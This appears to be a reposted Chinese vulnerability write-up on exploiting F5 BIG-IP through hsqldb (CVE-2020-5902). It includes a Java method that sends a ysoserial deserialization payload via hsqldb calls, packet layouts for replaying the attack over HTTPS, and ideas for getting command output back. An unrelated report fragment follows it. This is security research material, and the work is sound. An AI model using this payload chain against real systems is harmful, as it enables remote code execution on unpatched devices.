欢迎访问Sunbet官网(www.sunbet.us),Allbet欧博官网(www.ALLbetgame.us)!

首页Sunbet_新闻事件正文

F5 BIG-IP hsqldb(CVE-2020-5902)漏洞踩坑分析

admin2020-07-2176漏洞

F5 BIG-IP最近发生了一次比较严重的RCE漏洞,其中主要公开出来的入口就是tmsh与hsqldb方式,tmsh的利用与分析分析比较多了,如果复现过tmsh的利用,就应该知道这个地方利用有些鸡肋,后面不对tmsh进行分析,主要看下hsqldb的利用。hsqldb的利用poc已经公开,但是java hsqldb的https导致一直无法复现,尝试了各种方式也没办法了,只好换其他思路,下面记录下复现与踩坑的过程。

利用源码搭建一个hsqldb http servlet

如果调试过hsqldb,就应该知道hsqldb.jar的代码是无法下断点调试的,这是因为hsqldb中类的linenumber table信息没有了,linenumber table只是用于调式用的,对于代码的正常运行没有任何影响。看下正常编译的类与hqldb类的lineumber table区别:

使用javap -verbose hsqlServlet.class命令看下hsqldb中hsqlServlet.class类的详细信息:

Classfile /C:/Users/dell/Desktop/hsqlServlet.class
  Last modified 2018-11-14; size 128 bytes
  MD5 checksum 578c775f3dfccbf4e1e756a582e9f05c
public class hsqlServlet extends org.hsqldb.Servlet
  minor version: 0
  major version: 51
  flags: ACC_PUBLIC, ACC_SUPER
Constant pool:
   ,1 = Methodref          ,3.,7          // org/hsqldb/Servlet."":()V
   ,2 = Class              ,8             // hsqlServlet
   ,3 = Class              ,9             // org/hsqldb/Servlet
   ,4 = Utf8                  ,5 = Utf8               ()V
   ,6 = Utf8               Code
   ,7 = NameAndType        ,4:,5          // "":()V
   ,8 = Utf8               hsqlServlet
   ,9 = Utf8               org/hsqldb/Servlet
{
  public hsqlServlet();
    descriptor: ()V
    flags: ACC_PUBLIC
    Code:
      stack=1, locals=1, args_size=1
         0: aload_0
         1: invokespecial ,1                  // Method org/hsqldb/Servlet."":()V
         4: return
}

使用javap -verbose Test.class看下自己编译的类信息:

Classfile /C:/Users/dell/Desktop/Test.class
  Last modified 2020-7-13; size 586 bytes
  MD5 checksum eea80d1f399295a29f02f30a3764ff25
  Compiled from "Test.java"
public class Test
  minor version: 0
  major version: 51
  flags: ACC_PUBLIC, ACC_SUPER
Constant pool:
   ,1 = Methodref          ,7.,22         // java/lang/Object."":()V
   ,2 = Fieldref           ,23.,24        // java/lang/System.out:Ljava/io/PrintStream;
   ,3 = String             ,25            // aaa
   ,4 = Methodref          ,26.,27        // java/io/PrintStream.println:(Ljava/lang/String;)V
   ,5 = String             ,19            // test
   ,6 = Class              ,28            // Test
   ,7 = Class              ,29            // java/lang/Object
   ,8 = Utf8                  ,9 = Utf8               ()V
  ,10 = Utf8               Code
  ,11 = Utf8               LineNumberTable
  ,12 = Utf8               LocalVariableTable
  ,13 = Utf8               this
  ,14 = Utf8               LTest;
  ,15 = Utf8               main
  ,16 = Utf8               ([Ljava/lang/String;)V
  ,17 = Utf8               args
  ,18 = Utf8               [Ljava/lang/String;
  ,19 = Utf8               test
  ,20 = Utf8               SourceFile
  ,21 = Utf8               Test.java
  ,22 = NameAndType        ,8:,9          // "":()V
  ,23 = Class              ,30            // java/lang/System
  ,24 = NameAndType        ,31:,32        // out:Ljava/io/PrintStream;
  ,25 = Utf8               aaa
  ,26 = Class              ,33            // java/io/PrintStream
  ,27 = NameAndType        ,34:,35        // println:(Ljava/lang/String;)V
  ,28 = Utf8               Test
  ,29 = Utf8               java/lang/Object
  ,30 = Utf8               java/lang/System
  ,31 = Utf8               out
  ,32 = Utf8               Ljava/io/PrintStream;
  ,33 = Utf8               java/io/PrintStream
  ,34 = Utf8               println
  ,35 = Utf8               (Ljava/lang/String;)V
{
  public Test();
    descriptor: ()V
    flags: ACC_PUBLIC
    Code:
      stack=1, locals=1, args_size=1
         0: aload_0
         1: invokespecial ,1                  // Method java/lang/Object."":()V
         4: return
      LineNumberTable:
        line 1: 0
      LocalVariableTable:
        Start  Length  Slot  Name   Signature
            0       5     0  this   LTest;

  public static void main(java.lang.String[]);
    descriptor: ([Ljava/lang/String;)V
    flags: ACC_PUBLIC, ACC_STATIC
    Code:
      stack=2, locals=1, args_size=1
         0: getstatic     ,2                  // Field java/lang/System.out:Ljava/io/PrintStream;
         3: ldc           ,3                  // String aaa
         5: invokevirtual ,4                  // Method java/io/PrintStream.println:(Ljava/lang/String;)V
         8: return
      LineNumberTable:
        line 3: 0
        line 4: 8
      LocalVariableTable:
        Start  Length  Slot  Name   Signature
            0       9     0  args   [Ljava/lang/String;

  public void test();
    descriptor: ()V
    flags: ACC_PUBLIC
    Code:
      stack=2, locals=1, args_size=1
         0: getstatic     ,2                  // Field java/lang/System.out:Ljava/io/PrintStream;
         3: ldc           ,5                  // String test
         5: invokevirtual ,4                  // Method java/io/PrintStream.println:(Ljava/lang/String;)V
         8: return
      LineNumberTable:
        line 7: 0
        line 8: 8
      LocalVariableTable:
        Start  Length  Slot  Name   Signature
            0       9     0  this   LTest;
}
SourceFile: "Test.java"

可以看到自己编译的类中,每个method中都有一个 LineNumberTable,这个信息就是用于调试的信息,但是hsqldb中没有这个信息,所以是无法调试下断点的,hsqldb应该在编译时添加了某些参数或者使用了其他手段来去除这些信息。

没办法调试是一件很难受的事情,我现在想到的有两种:

· 反编译hsqldb的代码,自己再重新编译,这样就有linenumber信息了,但是反编译再重新编译可能会遇到一些错误问题,这部分得自己手动把代码修改正确,这样确实是可行的,在后面f5的hsqldb分析中可以看到这种方式。

· 代码开源,直接用源码跑。

hsqldb的代码正好是开源的,那么这里就直接用源码来开启一个servlet吧。

环境:

· hsqldb source代码是1.8的,现在新版已经2.5.x了,为了和f5中的hsqldb吻合,还是用1.8的代码吧

· JDK7u21,F5 BIG-IP 14版本使用的JDK7,所以这里尽量和它吻合避免各种问题

虽然开源了,但是拖到idea依然还有些问题,我修改了一些代码,让他正常跑起来了,修改好的代码放到github上了,最后项目结构如下:


使用http方式利用hsqldb漏洞(ysoserial cc6,很多其他链也行):

public static void testLocal() throws IOException, ClassNotFoundException, SQLException {
        String url = "http://localhost:8080";
        String payload = Hex.encodeHexString(Files.readAllBytes(Paths.get("calc.ser")));

        System.out.println(payload);

        String dburl = "jdbc:hsqldb:" + url + "/hsqldb_war_exploded/hsqldb/";
        Class.forName("org.hsqldb.jdbcDriver");

        Connection connection = DriverManager.getConnection(dburl, "sa", "");
        Statement statement = connection.createStatement();
        statement.execute("call \"java.lang.System.setProperty\"('org.apache.commons.collections.enableUnsafeSerialization','true')");
        statement.execute("call \"org.hsqldb.util.ScriptTool.main\"('" + payload + "');");
    }


利用requests发包模拟hsqldb RCE

java hsqldb https问题无法解决,那就用requests来发https包就可以了,先模拟http的包。

抓取上面利用java代码发送的payload包,一共发送了三个,第一个是连接包,连接hsqldb数据库的,第二、三包是执行语句的包:


根据代码看下第一个数据包返回的具体信息,主要读取与写入的信息都是由Result这个类处理的,一共20个字节:

· 1~4:总长度00000014,共20字节

· 5~8:mode,connection为ResultConstants.UPDATECOUNT,为1,00000001

· 9~12:databaseID,如果直接像上面这样默认配置,databaseID在服务端不会赋值,由jdk初始化为0,00000000

· 13~16:sessionID,这个值是DatabaseManager.newSession分配的值,每次连接都是一个新的值,本次为00000003

· 17~20:connection时,为updateCount,注释上面写的 max rows (out) or update count (in),如果像上面这样默认配置,updateCount在服务端不会赋值,由jdk初始化为0,00000000

连接信息分析完了,接下来的包肯定会利用到第一次返回包的信息,把他附加到后面发送包中,这里只分析下第二个发送包,第三个包和第二个是一样的,都是执行语句的包:

· 1~4:总长度00000082,这里为130

· 5~8:mode,这里为ResultConstants.SQLEXECDIRECT,0001000b

· 9~12:databaseID,为上面的00000000

· 13~16:sessionID,为上面的00000003

· 17~20:updateCount,为上面的00000000

· 21~25:statementID,这是客户端发送的,其实无关紧要,本次为00000000

· 26~30:执行语句的长度

· 31~:后面都是执行语句了

可以看到上面这个处理过程很简单,通过这个分析,很容易用requests发包了。对于https来说,只要设置verify=False就行了。

反序列化触发位置

这里反序列化触发位置在:


其实并不是org.hsqldb.util.ScriptTool.main这个地方导致的,而是hsqldb解析器语法解析中途导致的反序列化。将ScriptTool随便换一个都可以,例如org.hsqldb.sample.FindFile.main。

F5 BIG-IP hsqldb调试

如果还想调试下F5 BIG-IP hsqldb,也是可以的,F5 BIG-IP里面的hsqldb自己加了些代码,反编译他的代码,然后修改反编译出来的代码错误,再重新打包放进去,就可以调试了。

F5 BIG-IP hsqldb回显

· 既然能反序列化了,那就可以结合Template相关的利用链写到response

· 利用命令执行找socket的fd文件,写到socket

· 这次本来就有一个fileRead.jsp,命令执行完写到这里就可以了

hsqldb的连接安全隐患

从数据包可以看到,hsqldb第一次返回信息并不多,在后面附加用到的信息也就databaseID,sessionID,updateCount,且都只为4字节(32位),但是总有数字很小的连接排在前面,所以可以通过爆破出可用的databaseID、sessionID、updateCount。不过对于本次的F5 BIG-IP,直接用上面默认的就行了,无需爆破。

总结

虽然写得不多,写完了看起来还挺容易,不过过程其实还是很艰辛的,一开始并不是根据代码看包的,只是发了几个包对比然后就写了个脚本,结果跑不了F5 BIG-IP hsqldb,后面还是调试了F5 hsqldb代码,很多问题需要解决。同时还看到了hsqldb其实是存在一定安全隐患的,如果我们直接爆破databaseID,sessionID,updateCount,也很容易爆破出可用的databaseID,sessionID,updateCount。

作者:Longofo@知道创宇404实验室

时间:2020年7月10日

English Version: https://paper.seebug.org/1272/

原文链接:https://paper.seebug.org/1271/

永安在线 | 真人作弊黑灰产研究报告

版权声明 本报告版权归深圳永安在线科技有限公司所有,并受相关法律法规保护。未经允许不得擅自转载、摘编或利用其他形式使用本报告文字或观点。如需转载请联络永安在线。违反上述声明者,将追究其相关法律责任。 目 录 一. 概述与要点 二. 发展与现状  2.1 多行业、多场景、多任务广泛渗透  2.2 真人作弊APP近年发展迅猛  2.3 真人作弊参与人群画像  2.4 真人作弊对行业造成的损失统计  三. 痛点与危害  3.1 真人作弊 vs 机器作弊  3.2 真人作弊 vs 传统风控  3.3 真人作弊带来的额外风险  四. 对抗与解决  4.1 情报维度  4.2 数据维度  五. 写在最后  一.  概述与要点 真人作弊俨然已经发展成为目前黑灰产最常见、最难以防御、同时也对风控体系破坏极大的一种侵害平台整体安全性及稳定性的作恶形式,在

网友评论